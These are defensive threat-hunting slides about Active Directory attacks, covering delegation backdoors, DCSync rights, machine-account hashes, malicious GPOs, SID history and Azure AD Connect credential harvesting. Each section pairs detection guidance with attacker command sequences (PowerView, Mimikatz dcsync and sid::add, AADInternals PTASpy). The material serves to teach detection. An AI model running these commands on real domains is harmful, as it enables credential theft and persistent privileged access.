“Threat Hunting in Active Directory Environment”

Anurag Khanna & Thirumalai Natarajan
What will we talk about today?

- Hypothesis based on Threat Actor TTPs targeting Active Directory environment
- How Threat Actor abuse Active Directory
- Hunt and Detect Threat Actors TTPs

**Takeaway:** Understand the AD attack surface and hunt for techniques that Threat Actors use to target AD.
Anurag Khanna  
@khannaanurag

- Principal Consultant @Mandiant  
- Incident Response & Remediation  
- SANS Community Instructor  
- GIAC Security Expert (GSE #97)
Thirumalai Natarajan
@Th1rum

- Principal Consultant @Mandiant
- Responding to Security Breaches
- Active Directory and Cloud Security
- Built & Managed Security Operations Center
- Die hard Football fan
- https://www.linkedin.com/in/thirumalainatarajan
Why talk about Active Directory?

- Widely adopted across enterprise
- Underlying fabric of IT environment
- Attractive target for Threat Actors
- Big attack surface
- Central to the cyber kill chain
- Long dwell time

Threat Actors target and abuse Active Directory. Defenders need to understand Active directory better.
## Six hunt hypothesis

<table>
<thead>
<tr>
<th></th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Delegation Misuse for Persistence</td>
</tr>
<tr>
<td>2</td>
<td>Abusing DS Replication Permissions</td>
</tr>
<tr>
<td>3</td>
<td>Persistence using Machine$ hash</td>
</tr>
<tr>
<td>4</td>
<td>Malicious Group Policy Objects</td>
</tr>
<tr>
<td>5</td>
<td>Cross Forest Trust abuse using SID History</td>
</tr>
<tr>
<td>6</td>
<td>Credential Harvesting using Azure AD-Connect</td>
</tr>
</tbody>
</table>
1. Delegation Misuse
Kerberos Delegation

- Impersonate Principal to access another service by a service
- Feature to support legitimate requirement in several scenarios like Domain Controllers, Web Servers, Reporting Servers, Application Servers

**Example:** A user authenticates to a webserver. The web application impersonates user to access backend database to retrieve content as the user.

- Un-Constrained
- Constrained
- Resource Based Constrained
Hunt Hypothesis

Threat actor (TA) created persistence using **constrained delegation** to the domain controller from a TA controlled system.

MITRE ATT&CK Technique – T1134
Constrained Delegation with Protocol Transition

- **Service A** has "TRUSTED_TO_AUTH_FOR_DELEGATION" field set
- **Service A** has "msds-allowdelegateto" pointing to Target DC’s Service B (CIFS/domain.com)

**Constrained Delegation**
- Used by a service to impersonate another principal and access destination service
- Two forms:
  - Protocol Transition - **S4u2Self**
  - Kerberos Authentication - **S4u2Proxy**
Constrained Delegation with Protocol Transition

1. Configure the backdoor

   - `Reflection.Assembly[]::LoadWithPartialName('System.IdentityModel') | out-null`
   - `ServiceA PS> $idToImpersonate = New-Object System.Security.Principal.WindowsIdentity @('<DomainAdmin>')`
   - `ServiceA PS> $idToImpersonate.Impersonate()`

2. Trigger the backdoor

   - `AD DC PS> Get-ADComputer -Identity <ServiceA> | Set-ADAccountControl -TrustedToAuthForDelegation $true`
   - `AD DC PS> Set-ADComputer -Identity commando -Add @('msDS-AllowedToDelegateTo'='@('CIFS/dc02.threathunting.dev'))`

Threat Actor Workflow
Hunting for Constrained Delegation backdoors

Detection

Computer Account Management - Event ID 4742 alert on “AllowedToDelegateTo” to critical server eg. Domain controller

Hunting

PS> Get-ADObject -fi {((msDS-AllowedToDelegateTo -like '*') -and (UserAccountControl -band 0x1000000))} -property samAccountName,servicePrincipalName, msDS-AllowedToDelegateTo, userAccountControl

1. Review systems configured with Constrained delegation

- **Service A** has “TRUSTED_TO_AUTH_FOR_DELEGATION” field set
- **Service A** has “msds-allowedtodelegateeto” pointing to Target DC’s Service B (CIFS/domain.com)
Hunt Hypothesis

Threat actor (TA) created persistence using Resource-based constrained delegation (RBCD) to the domain controller from a TA controlled system.

MITRE ATT&CK Technique – T1134
Resource-based Constrained Delegation*

1. S4U2Self request for Domain Admin (DA)
2. Forwardable TGS for DA to Service A
3. S4U2Proxy TGS request for DA for Service B
4. TGS for DA to Service B
5. TA impersonates DA to connect to target DC

- Service B has “msDS-AllowedToActOnBehalfOfOtherIdentity” field set
- Service B has “msDS-AllowedToActOnBehalfOfOtherIdentity” pointing to Service A

*Available in Windows Server 2012 or higher
Resource-based Constrained Delegation

Threat Actor only requires capability to edit “msDS-AllowedToActOnBehalfOfOtherIdentity” on the target computer object.

```
DC PS> Set-ADComputer <ServiceB> - PrincipalsAllowedToDelegateToAccount <ServiceA>

1. Configure the backdoor

ServiceA PS> Reflection.Assembly::LoadWithPartialName('System.IdentityModel') | out-null
ServiceA PS> $idToImpersonate.Impersonate()

2. Trigger the backdoor

Threat Actor Workflow

@Khannaanurag, @Th1rum
Hunting for RBCD backdoors

**Detection**

Directory Service Access Event ID 4662 alert on GUID "3f78c3e5-f79a-46bd-a0b8-9d18116ddc79"

Directory Service Changes Event ID 5136 alert to Display Name

**Hunting**

PS> Get-ADObject -filter {((msDS-AllowedToActOnBehalfOfOtherIdentity -like '*'))}

PS> get-ADComputer <ServiceB> -properties * | FT Name,PrincipalsAllowedToDelegateToAccount

1. Listing RBCD configurations
2. Abusing DS Replication Permissions
Hunt Hypothesis
Threat actor (TA) created persistence by adding **DS Replication permissions** for a standard user.

MITRE ATT&CK Technique - T1003.006
DS Replication permissions

- Combination of two permissions:
  DS-Replication-Get-Changes
  DS-Replication-Get-Changes-All

- Allows a principal to remotely retrieve NT hashes via the MS-DRSR protocol for any security principal

Roles that (by default) have these permissions:
- Domain Controllers
- BUILTIN\Administrators (DCs)
- Domain Admins
- Enterprise Admins
- AD DS Connector account (eg. MSOL_ )
DS Replication permissions Misuse

1. Configure DC Replication permission for standard user

```
PS > .\PowerView.ps1
PS > Add-ObjectAcl -TargetDistinguishedName "dc=ThreatHunting,dc=dev" -PrincipalSamAccountName <username> -Rights DCSync -Verbose
```

2. Retrieve the NT password hash of ANY user later

```
PS > Import-module .\Invoke-mimikatz
PS > Invoke-Mimikatz -Command "lsadump::dcsync /user:domain\krbtgt"
```
Hunting for DS Replication configuration

**Detection**

Directory Service Access Event ID 4662 generated when DS Replication permission is added for a user

**Hunting**

```powershell
PS> (Get-Acl "ad:\dc=threathunting,dc=dev").Access | where-object {$_._ObjectType -eq "1131f6aa-9c07-11d1-f79f-00c04fc2dcdd2" -or $_._ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcdd2"} | Select-Object IdentityReference, objectType
```

1. Hunt for users with DS Replication permission

- `1131f6aa-9c07-11d1-f79f-00c04fc2dcdd2` (DS-Replication-Get-Changes)
- `1131f6ad-9c07-11d1-f79f-00c04fc2dcdd2` (DS-Replication-Get-Changes-All)

**DS Replication Rights-GUID**

- Directory Service Access Event ID 4662 generated when DS Replication permission is added for a user
3. Persistence using Machine$ hash
Hunt Hypothesis

Threat actor (TA) stole **Machine$ account password hash** and are accessing the target assets at will with privileged access.

MITRE ATT&CK Technique - T1003
**Machine$ Account**

- Security principal used to identify every computer object in Active Directory
- Used to create TGS for Machine SPNs
- Maintains Machine$ account password history
- Password changes every 30 days (default)
- Password change is not enforced
- Password change is initiated by net logon process on Machine based on policy
Machine$ Account Misuse

1. Steal the Machine$ password hash

```
PS > Import-module .
PS > Invoke-Mimikatz -Command "lsadump::dcsync /user:domain\<machine$>"
```

2. Change the registry settings

```
PS > Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\netlogon\Parameters -Name MaximumPasswordAge -Value 365
```

3. Use the Machine$ hash

```
PS > Import-module .
PS > Invoke-Mimikatz -Command XXXXXX
```

Threat Actor Workflow
Hunting for Machine$ Account Misuse

Detection

Hunting

WS PS> Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\netlogon\Parameters | select Disablepasswordchange, MaximumPasswordAge

1. Hunt for suspicious values in registry (Default 30)

2. Review for Un-approved changes
4. Malicious Group Policy Objects
Hunt Hypothesis

Threat actor (TA) uses **Group Policy Objects** to exert control over target active directory objects by creating malicious GPOs.

MITRE ATT&CK Technique – T1484.001
Group Policy Object (GPOs)

- Policies to centralize manage & control Computer & User configuration
- Created and stored in domain controller at \Windows\SYSVOL\domain\Policies
- Users with membership to Group Policy Creator Owners group or delegated rights over Group policy container object can create GPOs
- GPOs can be used to execute scripts domain wide
Misusing GPO to deploy Ransomware

1. Threat Actor enabled script execution
2. Disabled logon script delays
3. Disabled end point security software
4. Used Logon scripts to deploy ransomware

TA Ransomware deployment technique
Hunting for Malicious GPO

DC PS> Get-GPO -all | % { Get-GPOReport -GUID $_.id -ReportType HTML -Path <outputdir>"\$_$.displayName).html" }

1. Export GPOs for the domain

2. Analyze the GPOs for evil
# Finding evil in GPOs

<table>
<thead>
<tr>
<th>Threat Actor Action/Backdoors</th>
<th>Hunting Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>Add privileged rights to standard users like Debug Program, Remote Desktop Services, Backup files and directories, Log on Locally (DCs)</td>
<td>Extract User Rights assignment settings and review for privileged access</td>
</tr>
<tr>
<td>Deploy startup/shutdown, Logon/Logoff scripts</td>
<td>Review scripts configured for execution</td>
</tr>
<tr>
<td>Deploy malicious Scheduled task</td>
<td>Reviews configured scheduled tasks</td>
</tr>
<tr>
<td>Create restricted groups and add it as member of built-in privileged groups</td>
<td>Review restricted groups and privileges</td>
</tr>
<tr>
<td>Enable weak algorithms (Wdigest, LMHash, Credential Manager eg) and extract hashes</td>
<td>Review registry hardening settings</td>
</tr>
<tr>
<td>Limit Machine$ Account password change</td>
<td>Review registry entry for password change</td>
</tr>
</tbody>
</table>

| HKLM:\System\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential     |
| HKLM:\System\CurrentControlSet\Control\Lsa\NoLMHash                                    |
| HKLM:\System\CurrentControlSet\Control\Lsa\disabledomaincreds                          |
| HKLM:\SYSTEM\CurrentControlSet\Services\netlogon\Parameters\MaximumPasswordAge        |
| HKLM:\SYSTEM\CurrentControlSet\Services\netlogon\Parameters\DisablePasswordChange      |
5. Cross Forest Trust abuse using SID History
Hunt Hypothesis

Threat actor (TA) can perform privileged access to a trusting forest using **SID history** at will.

MITRE ATT&CK Technique - T1134.005
Cross Forest Trust

- Forest is the security boundary
- Created between two forest root domains
- To allow access to resources in trusting forests
- Can be one-way or two-way transitive trust
- Legacy of mergers/acquisitions
- SID Filtering is enabled by default

SID History

- Disabled by default
- Enabled to support migration scenarios
- Contain previous SIDs used for the object
- If enabled SID Filtering will block 500-1000 RID Principals to cross trust
Cross Forest Trust abuse using SID History

**Forest-B Actions**

1. Enable SID History

   DC Forest-B PS> Netdom trust <Forest-B> /domain:<Forest-A>/enablesidhistory:yes

2. Create a security group TA-Group add to Administrators

   DC Forest-B PS> New-ADGroup -Name "TA-Group" -SamAccountName TA-Group -GroupScope Global
   DC Forest-B PS> Add-ADGroupMember -Identity Administrators -Members TA-Group

**Forest-A Actions**

3. Add SID History of TA-Group to a user in Forest A

   DC Forest-A PS> mimikatz# sid::add /sam:user-A /new:<SID TA-Group>

4. Invoke UserA to Access ForestB as Administrator

**Attack Workflow**
Hunting for SID History

Detection

User Account Management Event ID 4738 – Addition of SID History

Hunting

DC Forest-A PS> Get-ADUser -Filter "SIDHistory -like '*'" -Properties SIDHistory | Where {$_..SIDHistory -NotLike "ForestA-SID*"}

1. List users with SID History added

2. Review SIDHistory Attribute for privileged SIDs
Bonus Hunt – Privileged Access within same Domain

Hunt for SID History injection within same domain SID

```
DC Domain-A PS> $DomainA_SID = ((Get-ADDomain).DomainSID.Value)
DC Domain-A PS> Get-ADUser -Filter "SIDHistory -Like '*'" -Properties SIDHistory | Where { $_.SIDHistory -Like "$DomainA_SID-*" }
```

1. List and review users with SID History added for the same domain SID

2. Review for privileged group RIDs in the SID history of the standard Principals eg (512 - Domain Admins, 518-Schema Admins, 519-Enterprise admins)
6. Azure AD-Connect – Credential Harvesting
Hunt Hypothesis

Threat actor (TA) is performing credential harvesting by implanting malware on the Azure AD Connect Server.
Azure AD Connect

- Microsoft tool to support Hybrid Authentication
- Synchronize user identities between On-Prem AD & Azure AD
- Azure AD Authentication support
  - Pass Hash Synchronization (PHS)
  - Pass Through Authentication (PTA)
  - Federated Authentication
Pass Through Authentication Method

1. User initiates logon
2. User redirected to AAD
3. User enters credentials
4. Credentials encrypted with public key of AAD Connect and placed on a queue
5. On Prem Agent picks up the request
6. Agent decrypts password using its private key
7. Agent validates credentials against AD
8. AD returns result to AAD
9. AAD Connect return response to AAD
10. AAD completes the process
11. User accesses the Application

Sign-in events are recorded in Azure AD and On-Premise Active directory servers.
Attacking Azure AD PTA

**Threat Actor Workflow**

1. TA injects malicious DLL in “AzureADConnectAuthenticationAgentService”

2. View harvested credentials. Valid/Invalid credentials are ACCEPTED & LOGGED locally.

### AAD Connect running Pass Through Authentication (PTA).

**AADConnect PS**
- `Import-Module AADInternals`
- `Install-AADIntPTASpy`
- `Get-AADIntPTASpyLog`

<table>
<thead>
<tr>
<th>UserName</th>
<th>Password</th>
<th>Time</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="mailto:blue@threathunting.dev">blue@threathunting.dev</a></td>
<td>&lt;base64 Hash XXXX&gt;</td>
<td>3/7/2021 3:52:29 AM</td>
</tr>
</tbody>
</table>

---

**Notes:**
- User initiates logon
- User redirected to AAD
- User enters credentials
- AAD completes the process
- User accesses the Application
- AAD AD
- Azure AD
- On Prem Agent
- AAD Connect
- AD

**Steps:**
1. User initiates logon
2. User redirected to AAD
3. User enters credentials
4. Credentials placed on a queue
5. On Prem Agent picks up the request
6. Agent decrypts password using its private key
7. Agent validates credentials against AD
8. AD returns result
9. AAD Connect returns response to AAD
10. AAD completes the process
11. User accesses the Application
Hunting for AAD PTA Spy

Protect AAD Connect server as a Tier0 asset & Enable MFA

**Detection**

Sysmon – Image Loaded Event Id 7 on AAD Connect Server. Look for malicious DLLs.

**Hunting**

AAD Connect PS> Get-Process
AzureADConnectAuthenticationAgentService | Select-Object -ExpandProperty Modules

1. Hunt for suspicious DLLs injected in process

2. Identify Malicious activity linked to PTA
   - Review any new DLLs dropped on AADC
   - Memory forensics to detect process Hooking

3. Events for Service Ticket Request for AADConnect will not be logged in the Active Directory.
   - 4768 Kerberos authentication TGT request
   - 4769 Kerberos service ticket was requested
Acknowledgements

The Good Folks at @Mandiant
@DrAzureAD
@harmj0y
@gentilkiwi
@elad_shamir
@_dirkjan
@PyroTek3
@mburns7
Thanks for listening!

Anurag Khanna
@khannaanurag
www.linkedin.com/in/khannaanurag

Thirumalai Natarajan
@Th1rum
www.linkedin.com/in/thirumalainatarajan